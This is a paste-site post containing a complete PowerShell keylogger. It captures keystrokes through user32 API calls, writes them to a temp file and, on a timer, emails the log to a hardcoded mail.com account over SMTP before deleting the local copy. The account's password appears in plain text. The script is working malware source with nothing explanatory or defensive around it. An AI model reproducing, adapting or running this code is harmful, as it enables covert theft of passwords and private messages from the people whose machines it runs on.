· 6 years ago · Dec 01, 2019, 09:56 PM
1# Edit only this section!
2$TimesToRun = 2
3$RunTimeP = 1
4$From = "keyloggerfiu@mail.com"
5$Pass = "Qwertzuiop12!"
6$To = "keyloggerfiu@mail.com"
7$Subject = "Keylogger Results"
8$body = "Keylogger Results"
9$SMTPServer = "smtp.mail.com "
10$SMTPPort = "587"
11$credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
12############################
13
14
15
16$TimeStart = Get-Date
17$TimeEnd = $timeStart.addminutes($RunTimeP)
18
19#requires -Version 2
20function Start-KeyLogger($Path="$env:temp\keylogger.txt")
21{
22 # Signatures for API Calls
23 $signatures = @'
24[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
25public static extern short GetAsyncKeyState(int virtualKeyCode);
26[DllImport("user32.dll", CharSet=CharSet.Auto)]
27public static extern int GetKeyboardState(byte[] keystate);
28[DllImport("user32.dll", CharSet=CharSet.Auto)]
29public static extern int MapVirtualKey(uint uCode, int uMapType);
30[DllImport("user32.dll", CharSet=CharSet.Auto)]
31public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
32'@
33
34 # load signatures and make members available
35 $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
36
37 # create output file
38 $null = New-Item -Path $Path -ItemType File -Force
39
40 try
41 {
42
43 # create endless loop. When user presses CTRL+C, finally-block
44 # executes and shows the collected key presses
45 $Runner = 0
46 while ($TimesToRun -ge $Runner) {
47 while ($TimeEnd -ge $TimeNow) {
48 Start-Sleep -Milliseconds 40
49
50 # scan all ASCII codes above 8
51 for ($ascii = 9; $ascii -le 254; $ascii++) {
52 # get current key state
53 $state = $API::GetAsyncKeyState($ascii)
54
55 # is key pressed?
56 if ($state -eq -32767) {
57 $null = [console]::CapsLock
58
59 # translate scan code to real code
60 $virtualKey = $API::MapVirtualKey($ascii, 3)
61
62 # get keyboard state for virtual keys
63 $kbstate = New-Object Byte[] 256
64 $checkkbstate = $API::GetKeyboardState($kbstate)
65
66 # prepare a StringBuilder to receive input key
67 $mychar = New-Object -TypeName System.Text.StringBuilder
68
69 # translate virtual key
70 $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
71
72 if ($success)
73 {
74 # add key to logger file
75 [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
76 }
77 }
78 }
79 $TimeNow = Get-Date
80 }
81 send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl
82 Remove-Item -Path $Path -force
83 }
84 }
85 finally
86 {
87 # open logger file in Notepad
88 exit 1
89 }
90}
91
92# records all key presses until script is aborted by pressing CTRL+C
93# will then open the file with collected key codes
94Start-KeyLogger